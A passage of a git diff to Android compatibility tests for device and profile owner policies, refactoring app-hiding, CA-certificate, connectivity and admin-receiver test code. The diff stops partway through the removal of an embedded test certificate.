+    private void waitForConnectivity(String message) throws InterruptedException {
+        long deadline = System.nanoTime() + CONNECTIVITY_WAIT_TIME_NS;
+        while (System.nanoTime() < deadline) {
+            try {
+                new Socket(CONNECTIVITY_CHECK_HOST, 80);
+                // Domain resolved, we have connectivity.
+                return;
+            } catch (IOException e) {
+                // Log.e(String, String, Throwable) will swallow UnknownHostException,
+                // so manually print it out here.
+                Log.e(TAG, "No connectivity yet: " + e.toString());
+                Thread.sleep(2000);
+            }
+        }
+        fail("Connectivity isn't available: " + message);
+    }
+
+    private void waitForNoConnectivity(String message) throws Exception {
+        long deadline = System.nanoTime() + CONNECTIVITY_WAIT_TIME_NS;
+        while (System.nanoTime() < deadline) {
+            try {
+                new Socket(CONNECTIVITY_CHECK_HOST, 80);
+                // Domain resolved, we have connectivity.
+            } catch (IOException e) {
+                // No connectivity
+                return;
+            }
+            Thread.sleep(2000);
+        }
+        fail("Connectivity still available after deadline: " + message);
+    }
+
     private void assertConnectivity(boolean shouldHaveConnectivity, String message) {
         try {
             new Socket(CONNECTIVITY_CHECK_HOST, 80);
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ApplicationHiddenTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ApplicationHiddenTest.java
index d8be42f..0c5449b 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ApplicationHiddenTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ApplicationHiddenTest.java
@@ -15,6 +15,8 @@
  */
 package com.android.cts.deviceandprofileowner;
 
+import static com.google.common.truth.Truth.assertWithMessage;
+
 import android.app.admin.DevicePolicyManager;
 import android.content.BroadcastReceiver;
 import android.content.Context;
@@ -23,6 +25,9 @@
 import android.net.Uri;
 import android.util.Log;
 
+import com.android.bedstead.dpmwrapper.Utils;
+
+import java.util.Set;
 import java.util.concurrent.Semaphore;
 import java.util.concurrent.TimeUnit;
 
@@ -32,8 +37,6 @@
  */
 public class ApplicationHiddenTest extends BaseDeviceAdminTest {
 
-    private static final String TAG = "ApplicationHiddenTest";
-
     private static final String PACKAGE_TO_HIDE = "com.android.cts.permissionapp";
     private static final String NONEXISTING_PACKAGE_NAME = "a.b.c.d";
 
@@ -49,6 +52,7 @@
     @Override
     protected void setUp() throws Exception {
         super.setUp();
+
         mContext.registerReceiver(mReceiver, PACKAGE_INTENT_FILTER);
     }
 
@@ -60,34 +64,76 @@
     }
 
     public void testSetApplicationHidden() throws Exception {
-        assertTrue(mDevicePolicyManager.setApplicationHidden(ADMIN_RECEIVER_COMPONENT,
-                PACKAGE_TO_HIDE, true));
-        assertTrue(mDevicePolicyManager.isApplicationHidden(ADMIN_RECEIVER_COMPONENT,
-                PACKAGE_TO_HIDE));
+        assertWithMessage("setApplicationHidden(%s, %s, true)", ADMIN_RECEIVER_COMPONENT,
+                PACKAGE_TO_HIDE)
+                        .that(mDevicePolicyManager.setApplicationHidden(ADMIN_RECEIVER_COMPONENT,
+                                PACKAGE_TO_HIDE, true))
+                        .isTrue();
+        assertWithMessage("isApplicationHidden(%s, %s)", ADMIN_RECEIVER_COMPONENT, PACKAGE_TO_HIDE)
+                .that(mDevicePolicyManager
+                        .isApplicationHidden(ADMIN_RECEIVER_COMPONENT, PACKAGE_TO_HIDE))
+                .isTrue();
         mReceiver.waitForRemovedBroadcast();
-        assertTrue(mDevicePolicyManager.setApplicationHidden(ADMIN_RECEIVER_COMPONENT,
-                PACKAGE_TO_HIDE, false));
-        assertFalse(mDevicePolicyManager.isApplicationHidden(ADMIN_RECEIVER_COMPONENT,
-                PACKAGE_TO_HIDE));
+        assertWithMessage("setApplicationHidden(%s, %s, false)", ADMIN_RECEIVER_COMPONENT,
+                PACKAGE_TO_HIDE)
+                        .that(mDevicePolicyManager.setApplicationHidden(ADMIN_RECEIVER_COMPONENT,
+                                PACKAGE_TO_HIDE, false))
+                        .isTrue();
+        assertWithMessage("isApplicationHidden(%s, %s)", ADMIN_RECEIVER_COMPONENT, PACKAGE_TO_HIDE)
+                .that(mDevicePolicyManager
+                        .isApplicationHidden(ADMIN_RECEIVER_COMPONENT, PACKAGE_TO_HIDE))
+                .isFalse();
         mReceiver.waitForAddedBroadcast();
     }
 
     public void testCannotHideActiveAdmin() throws Exception {
-        assertFalse(mDevicePolicyManager.setApplicationHidden(ADMIN_RECEIVER_COMPONENT,
-                PACKAGE_NAME, true));
+        assertWithMessage("setApplicationHidden(%s, %s, true)", ADMIN_RECEIVER_COMPONENT,
+                PACKAGE_NAME)
+                        .that(mDevicePolicyManager.setApplicationHidden(ADMIN_RECEIVER_COMPONENT,
+                                PACKAGE_NAME, true))
+                        .isFalse();
     }
 
     public void testCannotHideNonExistingPackage() throws Exception {
-        assertFalse(mDevicePolicyManager.setApplicationHidden(ADMIN_RECEIVER_COMPONENT,
-                NONEXISTING_PACKAGE_NAME, true));
+        assertWithMessage("setApplicationHidden(%s, %s, true)", ADMIN_RECEIVER_COMPONENT,
+                NONEXISTING_PACKAGE_NAME)
+                        .that(mDevicePolicyManager.setApplicationHidden(ADMIN_RECEIVER_COMPONENT,
+                                NONEXISTING_PACKAGE_NAME, true))
+                        .isFalse();
     }
 
-    private class ApplicationHiddenReceiver extends BroadcastReceiver {
+    public void testCannotHidePolicyExemptApps() throws Exception {
+        Set<String> policyExemptApps = mDevicePolicyManager.getPolicyExemptApps();
+        Log.v(mTag, "policyExemptApps: " + policyExemptApps);
+        if (policyExemptApps.isEmpty()) return;
+
+        policyExemptApps.forEach((app) -> {
+            try {
+                boolean hidden = mDevicePolicyManager.setApplicationHidden(ADMIN_RECEIVER_COMPONENT,
+                        app, true);
+
+                assertWithMessage("setApplicationHidden(%s, true)", app).that(hidden).isFalse();
+            } finally {
+                maybeUnhideApp(app);
+            }
+        });
+    }
+
+    private void maybeUnhideApp(String app) {
+        if (mDevicePolicyManager.isApplicationHidden(ADMIN_RECEIVER_COMPONENT, app)) {
+            mDevicePolicyManager.setApplicationHidden(ADMIN_RECEIVER_COMPONENT, app, false);
+        }
+    }
+
+    private final class ApplicationHiddenReceiver extends BroadcastReceiver {
+        private static final int TIMEOUT_SECONDS = 60;
         private final Semaphore mAddedSemaphore = new Semaphore(0);
         private final Semaphore mRemovedSemaphore = new Semaphore(0);
 
         @Override
         public void onReceive(Context context, Intent intent) {
+            Log.v(mTag, "Received intent on user " + context.getUserId() + ": "
+                    + Utils.toString(intent));
             Uri uri = intent.getData();
             if (uri == null) {
                 return;
@@ -96,25 +142,36 @@
             if (!PACKAGE_TO_HIDE.equals(pkgName)) {
                 return;
             }
-            if (Intent.ACTION_PACKAGE_ADDED.equals(intent.getAction())) {
-                Log.d(TAG, "Received PACKAGE_ADDED broadcast");
-                mAddedSemaphore.release();
-            } else if (Intent.ACTION_PACKAGE_REMOVED.equals(intent.getAction())) {
-                Log.d(TAG, "Received PACKAGE_REMOVED broadcast");
-                mRemovedSemaphore.release();
+            String action = intent.getAction();
+            switch(action) {
+                case Intent.ACTION_PACKAGE_ADDED:
+                    Log.d(mTag, "Received PACKAGE_ADDED broadcast");
+                    mAddedSemaphore.release();
+                    break;
+                case Intent.ACTION_PACKAGE_REMOVED:
+                    Log.d(mTag, "Received ACTION_PACKAGE_REMOVED broadcast");
+                    mRemovedSemaphore.release();
+                    break;
+                default:
+                    Log.w(mTag, "received invalid intent: " + action);
             }
         }
 
         public void waitForAddedBroadcast() throws Exception {
-            if (!mAddedSemaphore.tryAcquire(60, TimeUnit.SECONDS)) {
-                fail("Did not receive PACKAGE_ADDED broadcast.");
+            if (!mAddedSemaphore.tryAcquire(TIMEOUT_SECONDS, TimeUnit.SECONDS)) {
+                failBroadcastNotReceived(Intent.ACTION_PACKAGE_ADDED);
             }
         }
 
         public void waitForRemovedBroadcast() throws Exception {
-            if (!mRemovedSemaphore.tryAcquire(60, TimeUnit.SECONDS)) {
-                fail("Did not receive PACKAGE_REMOVED broadcast.");
+            if (!mRemovedSemaphore.tryAcquire(TIMEOUT_SECONDS, TimeUnit.SECONDS)) {
+                failBroadcastNotReceived(Intent.ACTION_PACKAGE_REMOVED);
             }
         }
+
+        private void failBroadcastNotReceived(String broadcast) {
+            fail("Did not receive " + broadcast + " broadcast on user " + mContext.getUserId()
+                    + " in " + TIMEOUT_SECONDS + "s.");
+        }
     }
 }
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ApplicationRestrictionsTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ApplicationRestrictionsTest.java
index 66cf8e8..7d84ac2 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ApplicationRestrictionsTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ApplicationRestrictionsTest.java
@@ -112,7 +112,7 @@
             fail("Expected SecurityException not thrown");
         } catch (SecurityException expected) {
             MoreAsserts.assertContainsRegex(
-                    "Caller with uid \\d+ is not a delegate of scope delegation-app-restrictions.",
+                    "Calling identity is not authorized",
                     expected.getMessage());
         }
         try {
@@ -120,7 +120,7 @@
             fail("Expected SecurityException not thrown");
         } catch (SecurityException expected) {
             MoreAsserts.assertContainsRegex(
-                    "Caller with uid \\d+ is not a delegate of scope delegation-app-restrictions.",
+                    "Calling identity is not authorized",
                     expected.getMessage());
         }
     }
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/BaseDeviceAdminTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/BaseDeviceAdminTest.java
index 889e91a..413a69f 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/BaseDeviceAdminTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/BaseDeviceAdminTest.java
@@ -15,11 +15,15 @@
  */
 package com.android.cts.deviceandprofileowner;
 
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.annotation.NonNull;
 import android.app.admin.DeviceAdminReceiver;
 import android.app.admin.DevicePolicyManager;
 import android.content.ComponentName;
 import android.content.Context;
 import android.content.Intent;
+import android.content.SharedPreferences;
 import android.content.pm.PackageInfo;
 import android.content.pm.PackageManager;
 import android.net.Uri;
@@ -30,7 +34,13 @@
 import android.text.TextUtils;
 import android.util.Log;
 
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.bedstead.dpmwrapper.DeviceOwnerHelper;
+import com.android.bedstead.dpmwrapper.TestAppSystemServiceFactory;
 import com.android.compatibility.common.util.SystemUtil;
+import com.android.cts.deviceandprofileowner.BaseDeviceAdminTest.BasicAdminReceiver;
+
 import java.util.concurrent.CountDownLatch;
 
 /**
@@ -43,6 +53,26 @@
 
     public static class BasicAdminReceiver extends DeviceAdminReceiver {
 
+        static final String ACTION_NETWORK_LOGS_AVAILABLE =
+                "com.android.cts.deviceandprofileowner.action.ACTION_NETWORK_LOGS_AVAILABLE";
+
+        static final String EXTRA_NETWORK_LOGS_BATCH_TOKEN =
+                "com.android.cts.deviceandprofileowner.extra.NETWORK_LOGS_BATCH_TOKEN";
+
+        // Shared preference used to coordinate compliance acknowledgement test.
+        static final String COMPLIANCE_ACK_PREF_NAME = "compliance-pref";
+        // Shared preference key controlling whether to use default callback implementation.
+        static final String COMPLIANCE_ACK_PREF_KEY_OVERRIDE = "compliance-pref-override";
+        // Shared preference key to save broadcast receipt.
+        static final String COMPLIANCE_ACK_PREF_KEY_BCAST_RECEIVED = "compliance-pref-bcast";
+
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            if (DeviceOwnerHelper.runManagerMethod(this, context, intent)) return;
+
+            super.onReceive(context, intent);
+        }
+
         @Override
         public String onChoosePrivateKeyAlias(Context context, Intent intent, int uid, Uri uri,
                 String suggestedAlias) {
@@ -60,6 +90,29 @@
                 mOnPasswordExpiryTimeoutCalled.countDown();
             }
         }
+
+        @Override
+        public void onNetworkLogsAvailable(Context context, Intent intent, long batchToken,
+                int networkLogsCount) {
+            super.onNetworkLogsAvailable(context, intent, batchToken, networkLogsCount);
+            // send the broadcast, the rest of the test happens in NetworkLoggingTest
+            Intent batchIntent = new Intent(ACTION_NETWORK_LOGS_AVAILABLE);
+            batchIntent.putExtra(EXTRA_NETWORK_LOGS_BATCH_TOKEN, batchToken);
+            context.sendBroadcast(batchIntent);
+        }
+
+        @Override
+        public void onComplianceAcknowledgementRequired(
+                @NonNull Context context, @NonNull Intent intent) {
+            final SharedPreferences pref =
+                    context.getSharedPreferences(COMPLIANCE_ACK_PREF_NAME, Context.MODE_PRIVATE);
+            // Record the broadcast receipt.
+            pref.edit().putBoolean(COMPLIANCE_ACK_PREF_KEY_BCAST_RECEIVED, true).commit();
+            // Call the default implementation unless instructed otherwise.
+            if (!pref.getBoolean(COMPLIANCE_ACK_PREF_KEY_OVERRIDE, false)) {
+                super.onComplianceAcknowledgementRequired(context, intent);
+            }
+        }
     }
 
     public static final String PACKAGE_NAME = BasicAdminReceiver.class.getPackage().getName();
@@ -72,7 +125,7 @@
     protected boolean mHasSecureLockScreen;
     static CountDownLatch mOnPasswordExpiryTimeoutCalled;
 
-    private final String mTag = getClass().getSimpleName();
+    protected final String mTag = getClass().getSimpleName();
 
     @Override
     protected void setUp() throws Exception {
@@ -80,23 +133,41 @@
         mContext = getInstrumentation().getContext();
 
         mDevicePolicyManager = mContext.getSystemService(DevicePolicyManager.class);
-        assertNotNull(mDevicePolicyManager);
+        assertWithMessage("dpm").that(mDevicePolicyManager).isNotNull();
 
         mUserManager = mContext.getSystemService(UserManager.class);
-        assertNotNull(mUserManager);
+        assertWithMessage("userManager").that(mUserManager).isNotNull();
 
         mHasSecureLockScreen = mContext.getPackageManager().hasSystemFeature(
                 PackageManager.FEATURE_SECURE_LOCK_SCREEN);
 
-        assertTrue(mDevicePolicyManager.isAdminActive(ADMIN_RECEIVER_COMPONENT));
-        assertTrue("App is neither device nor profile owner",
-                mDevicePolicyManager.isProfileOwnerApp(PACKAGE_NAME) ||
-                mDevicePolicyManager.isDeviceOwnerApp(PACKAGE_NAME));
+
+        boolean isActiveAdmin = mDevicePolicyManager.isAdminActive(ADMIN_RECEIVER_COMPONENT);
+        boolean isProfileOwner = mDevicePolicyManager.isProfileOwnerApp(PACKAGE_NAME);
+        boolean isDeviceOwner = mDevicePolicyManager.isDeviceOwnerApp(PACKAGE_NAME);
+        boolean isDeviceOwnerTest = "DeviceOwner"
+                .equals(InstrumentationRegistry.getArguments().getString("admin_type"));
+        Log.d(mTag, "setup() on user " + mContext.getUserId() + ": package=" + PACKAGE_NAME
+                + ", adminReceiverComponent=" + ADMIN_RECEIVER_COMPONENT
+                + ", isActiveAdmin=" + isActiveAdmin + ", isProfileOwner=" + isProfileOwner
+                + ", isDeviceOwner=" + isDeviceOwner + ", isDeviceOwnerTest=" + isDeviceOwnerTest);
+
+        assertWithMessage("active admin for %s", ADMIN_RECEIVER_COMPONENT).that(isActiveAdmin)
+                .isTrue();
+
+        assertWithMessage("profile owner or device owner for %s", PACKAGE_NAME)
+                .that(isProfileOwner || isDeviceOwner).isTrue();
+
+        if (isDeviceOwnerTest) {
+            mDevicePolicyManager = TestAppSystemServiceFactory.getDevicePolicyManager(mContext,
+                    BasicAdminReceiver.class);
+            Log.d(mTag, "mDevicePolicyManager after DPMWrapper call: " + mDevicePolicyManager);
+        }
     }
 
     protected int getTargetApiLevel() throws Exception {
         final PackageManager pm = mContext.getPackageManager();
-        final PackageInfo pi = pm.getPackageInfo(mContext.getPackageName(), /* flags =*/ 0);
+        final PackageInfo pi = pm.getPackageInfo(mContext.getPackageName(), /* flags= */ 0);
         return pi.applicationInfo.targetSdkVersion;
     }
 
@@ -125,12 +196,14 @@
                 break;
             }
         }
-        assertTrue("User should have been unlocked", mUserManager.isUserUnlocked());
+        assertWithMessage("user unlocked").that(mUserManager.isUserUnlocked()).isTrue();
     }
 
     protected void assertPasswordSufficiency(boolean expectPasswordSufficient) {
         waitUntilUserUnlocked();
-        assertEquals(expectPasswordSufficient, mDevicePolicyManager.isActivePasswordSufficient());
+        assertWithMessage("isActivePasswordSufficient()")
+                .that(mDevicePolicyManager.isActivePasswordSufficient())
+                .isEqualTo(expectPasswordSufficient);
     }
 
     protected boolean isDeviceOwner() {
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/CaCertManagementTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/CaCertManagementTest.java
index 791f207..7097050 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/CaCertManagementTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/CaCertManagementTest.java
@@ -15,6 +15,10 @@
  */
 package com.android.cts.deviceandprofileowner;
 
+import static com.android.compatibility.common.util.FakeKeys.FAKE_DSA_1;
+import static com.android.compatibility.common.util.FakeKeys.FAKE_RSA_1;
+
+import android.app.admin.DevicePolicyManager;
 import android.content.ComponentName;
 import android.net.http.X509TrustManagerExtensions;
 
@@ -32,9 +36,6 @@
 import javax.net.ssl.TrustManagerFactory;
 import javax.net.ssl.X509TrustManager;
 
-import static com.android.compatibility.common.util.FakeKeys.FAKE_DSA_1;
-import static com.android.compatibility.common.util.FakeKeys.FAKE_RSA_1;
-
 public class CaCertManagementTest extends BaseDeviceAdminTest {
     private final ComponentName mAdmin = ADMIN_RECEIVER_COMPONENT;
 
@@ -48,19 +49,30 @@
         assertNotNull(caCerts);
     }
 
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        uninstallAllUserCaCerts();
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        uninstallAllUserCaCerts();
+        super.tearDown();
+    }
+
     /**
      * Test: a valid cert should be installable and also removable.
      */
-    public void testCanInstallAndUninstallACaCert()
-            throws CertificateException, GeneralSecurityException {
+    public void testCanInstallAndUninstallACaCert() throws GeneralSecurityException {
         assertUninstalled(FAKE_RSA_1.caCertificate);
         assertUninstalled(FAKE_DSA_1.caCertificate);
 
-        assertTrue(mDevicePolicyManager.installCaCert(mAdmin, FAKE_RSA_1.caCertificate));
+        assertTrue(installCaCert(FAKE_RSA_1.caCertificate));
         assertInstalled(FAKE_RSA_1.caCertificate);
         assertUninstalled(FAKE_DSA_1.caCertificate);
 
-        mDevicePolicyManager.uninstallCaCert(mAdmin, FAKE_RSA_1.caCertificate);
+        uninstallCaCert(FAKE_RSA_1.caCertificate);
         assertUninstalled(FAKE_RSA_1.caCertificate);
         assertUninstalled(FAKE_DSA_1.caCertificate);
     }
@@ -68,42 +80,36 @@
     /**
      * Test: removing one certificate must not remove any others.
      */
-    public void testUninstallationIsSelective()
-            throws CertificateException, GeneralSecurityException {
-        assertTrue(mDevicePolicyManager.installCaCert(mAdmin, FAKE_RSA_1.caCertificate));
-        assertTrue(mDevicePolicyManager.installCaCert(mAdmin, FAKE_DSA_1.caCertificate));
+    public void testUninstallationIsSelective() throws GeneralSecurityException {
+        assertTrue(installCaCert(FAKE_RSA_1.caCertificate));
+        assertTrue(installCaCert(FAKE_DSA_1.caCertificate));
 
-        mDevicePolicyManager.uninstallCaCert(mAdmin, FAKE_DSA_1.caCertificate);
+        uninstallCaCert(FAKE_DSA_1.caCertificate);
         assertInstalled(FAKE_RSA_1.caCertificate);
         assertUninstalled(FAKE_DSA_1.caCertificate);
 
-        mDevicePolicyManager.uninstallCaCert(mAdmin, FAKE_RSA_1.caCertificate);
+        uninstallCaCert(FAKE_RSA_1.caCertificate);
     }
 
     /**
      * Test: uninstallAllUserCaCerts should be equivalent to calling uninstallCaCert on every
      * supplementary installed certificate.
      */
-    public void testCanUninstallAllUserCaCerts()
-            throws CertificateException, GeneralSecurityException {
-        assertTrue(mDevicePolicyManager.installCaCert(mAdmin, FAKE_RSA_1.caCertificate));
-        assertTrue(mDevicePolicyManager.installCaCert(mAdmin, FAKE_DSA_1.caCertificate));
+    public void testCanUninstallAllUserCaCerts() throws GeneralSecurityException {
+        assertTrue(installCaCert(FAKE_RSA_1.caCertificate));
+        assertTrue(installCaCert(FAKE_DSA_1.caCertificate));
 
-        mDevicePolicyManager.uninstallAllUserCaCerts(mAdmin);
+        uninstallAllUserCaCerts();
         assertUninstalled(FAKE_RSA_1.caCertificate);
         assertUninstalled(FAKE_DSA_1.caCertificate);
     }
 
-    private void assertInstalled(byte[] caBytes)
-            throws CertificateException, GeneralSecurityException {
-        Certificate caCert = readCertificate(caBytes);
-        assertTrue(isCaCertInstalledAndTrusted(caCert));
+    private void assertInstalled(byte[] caBytes) throws GeneralSecurityException {
+        assertTrue(isCaCertInstalledAndTrusted(caBytes));
     }
 
-    private void assertUninstalled(byte[] caBytes)
-            throws CertificateException, GeneralSecurityException {
-        Certificate caCert = readCertificate(caBytes);
-        assertFalse(isCaCertInstalledAndTrusted(caCert));
+    private void assertUninstalled(byte[] caBytes) throws GeneralSecurityException {
+        assertFalse(isCaCertInstalledAndTrusted(caBytes));
     }
 
     private static X509TrustManager getFirstX509TrustManager(TrustManagerFactory tmf) {
@@ -131,8 +137,8 @@
      * @return {@code true} if installed by all metrics, {@code false} if not installed by any
      *         metric. In any other case an {@link AssertionError} will be thrown.
      */
-    private boolean isCaCertInstalledAndTrusted(Certificate caCert)
-            throws GeneralSecurityException, CertificateException {
+    private boolean isCaCertInstalledAndTrusted(byte[] caBytes) throws GeneralSecurityException {
+        Certificate caCert = readCertificate(caBytes);
         boolean installed = mDevicePolicyManager.hasCaCertInstalled(mAdmin, caCert.getEncoded());
 
         boolean listed = false;
@@ -184,4 +190,16 @@
         final CertificateFactory certFactory = CertificateFactory.getInstance("X.509");
         return certFactory.generateCertificate(new ByteArrayInputStream(certBuffer));
     }
+
+    private boolean installCaCert(byte[] caCertificate) {
+        return mDevicePolicyManager.installCaCert(mAdmin, caCertificate);
+    }
+
+    private void uninstallCaCert(byte[] caCertificate) {
+        mDevicePolicyManager.uninstallCaCert(mAdmin, caCertificate);
+    }
+
+    private void uninstallAllUserCaCerts() {
+        mDevicePolicyManager.uninstallAllUserCaCerts(mAdmin);
+    }
 }
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/CameraUtils.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/CameraUtils.java
deleted file mode 100644
index d23d4b3..0000000
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/CameraUtils.java
+++ /dev/null
@@ -1,93 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.deviceandprofileowner;
-
-import android.hardware.camera2.CameraDevice;
-import android.hardware.camera2.CameraManager;
-import android.os.Handler;
-import android.util.Log;
-
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-import java.util.concurrent.atomic.AtomicBoolean;
-
-/**
- * A util class to help open camera in a blocking way.
- */
-class CameraUtils {
-
-    private static final String TAG = "CameraUtils";
-
-    /**
-     * @return true if success to open camera, false otherwise.
-     */
-    public static boolean blockUntilOpenCamera(CameraManager cameraManager, Handler handler) {
-        try {
-            String[] cameraIdList = cameraManager.getCameraIdList();
-            if (cameraIdList == null || cameraIdList.length == 0) {
-                return false;
-            }
-            String cameraId = cameraIdList[0];
-            CameraCallback callback = new CameraCallback();
-            cameraManager.openCamera(cameraId, callback, handler);
-            return callback.waitForResult();
-        } catch (Exception ex) {
-            // No matter what is going wrong, it means fail to open camera.
-            ex.printStackTrace();
-            return false;
-        }
-    }
-
-    /**
-     * {@link CameraDevice.StateCallback} is called when {@link CameraDevice} changes its state.
-     */
-    private static class CameraCallback extends CameraDevice.StateCallback {
-
-        private static final int OPEN_TIMEOUT_SECONDS = 5;
-
-        private final CountDownLatch mLatch = new CountDownLatch(1);
-
-        private AtomicBoolean mResult = new AtomicBoolean(false);
-
-        @Override
-        public void onOpened(CameraDevice cameraDevice) {
-            Log.d(TAG, "open camera successfully");
-            mResult.set(true);
-            if (cameraDevice != null) {
-                cameraDevice.close();
-            }
-            mLatch.countDown();
-        }
-
-        @Override
-        public void onDisconnected(CameraDevice cameraDevice) {
-            Log.d(TAG, "disconnect camera");
-            mLatch.countDown();
-        }
-
-        @Override
-        public void onError(CameraDevice cameraDevice, int error) {
-            Log.e(TAG, "Fail to open camera, error code = " + error);
-            mLatch.countDown();
-        }
-
-        public boolean waitForResult() throws InterruptedException {
-            mLatch.await(OPEN_TIMEOUT_SECONDS, TimeUnit.SECONDS);
-            return mResult.get();
-        }
-    }
-}
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ClearProfileOwnerNegativeTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ClearProfileOwnerNegativeTest.java
index 30ae0cd..b61b546 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ClearProfileOwnerNegativeTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ClearProfileOwnerNegativeTest.java
@@ -33,7 +33,7 @@
             try {
                 mDevicePolicyManager.clearProfileOwner(BaseDeviceAdminTest.ADMIN_RECEIVER_COMPONENT);
             } catch (SecurityException e) {
-                MoreAsserts.assertContainsRegex("clear profile owner", e.getMessage());
+                MoreAsserts.assertContainsRegex("Calling user is not authorized", e.getMessage());
             }
         }
 
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/DelegatedCertInstallerTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/DelegatedCertInstallerTest.java
index 45bfe40..e2ec220 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/DelegatedCertInstallerTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/DelegatedCertInstallerTest.java
@@ -31,6 +31,8 @@
 import android.security.KeyChainException;
 import android.test.MoreAsserts;
 
+import com.android.cts.devicepolicy.TestCertificates;
+
 import java.io.ByteArrayInputStream;
 import java.io.IOException;
 import java.security.GeneralSecurityException;
@@ -60,6 +62,8 @@
     private static final String ACTION_INSTALL_KEYPAIR =
             "com.android.cts.certinstaller.install_keypair";
     private static final String ACTION_CERT_OPERATION_DONE = "com.android.cts.certinstaller.done";
+    private static final String ACTION_READ_ENROLLMENT_SPECIFIC_ID =
+            "com.android.cts.certinstaller.read_esid";
 
     private static final String EXTRA_CERT_DATA = "extra_cert_data";
     private static final String EXTRA_KEY_DATA = "extra_key_data";
@@ -73,77 +77,6 @@
 
     private static final List<String> CERT_INSTALL_SCOPES = Arrays.asList(DELEGATION_CERT_INSTALL);
 
-    /*
-     * The CA and keypair below are generated with:
-     *
-     * openssl req -new -x509 -days 3650 -extensions v3_ca -keyout cakey.pem -out cacert.pem
-     * openssl req -newkey rsa:1024 -keyout userkey.pem -nodes -days 3650 -out userkey.req
-     * mkdir -p demoCA/newcerts
-     * touch demoCA/index.txt
-     * echo "01" > demoCA/serial
-     * openssl ca -out usercert.pem -in userkey.req -cert cacert.pem -keyfile cakey.pem -days 3650
-     */
-
-     // Content from cacert.pem
-    private static final String TEST_CA =
-            "-----BEGIN CERTIFICATE-----\n" +
-            "MIIDXTCCAkWgAwIBAgIJAK9Tl/F9V8kSMA0GCSqGSIb3DQEBCwUAMEUxCzAJBgNV\n" +
-            "BAYTAkFVMRMwEQYDVQQIDApTb21lLVN0YXRlMSEwHwYDVQQKDBhJbnRlcm5ldCBX\n" +
-            "aWRnaXRzIFB0eSBMdGQwHhcNMTUwMzA2MTczMjExWhcNMjUwMzAzMTczMjExWjBF\n" +
-            "MQswCQYDVQQGEwJBVTETMBEGA1UECAwKU29tZS1TdGF0ZTEhMB8GA1UECgwYSW50\n" +
-            "ZXJuZXQgV2lkZ2l0cyBQdHkgTHRkMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB\n" +
-            "CgKCAQEAvItOutsE75WBTgTyNAHt4JXQ3JoseaGqcC3WQij6vhrleWi5KJ0jh1/M\n" +
-            "Rpry7Fajtwwb4t8VZa0NuM2h2YALv52w1xivql88zce/HU1y7XzbXhxis9o6SCI+\n" +
-            "oVQSbPeXRgBPppFzBEh3ZqYTVhAqw451XhwdA4Aqs3wts7ddjwlUzyMdU44osCUg\n" +
-            "kVg7lfPf9sTm5IoHVcfLSCWH5n6Nr9sH3o2ksyTwxuOAvsN11F/a0mmUoPciYPp+\n" +
-            "q7DzQzdi7akRG601DZ4YVOwo6UITGvDyuAAdxl5isovUXqe6Jmz2/myTSpAKxGFs\n" +
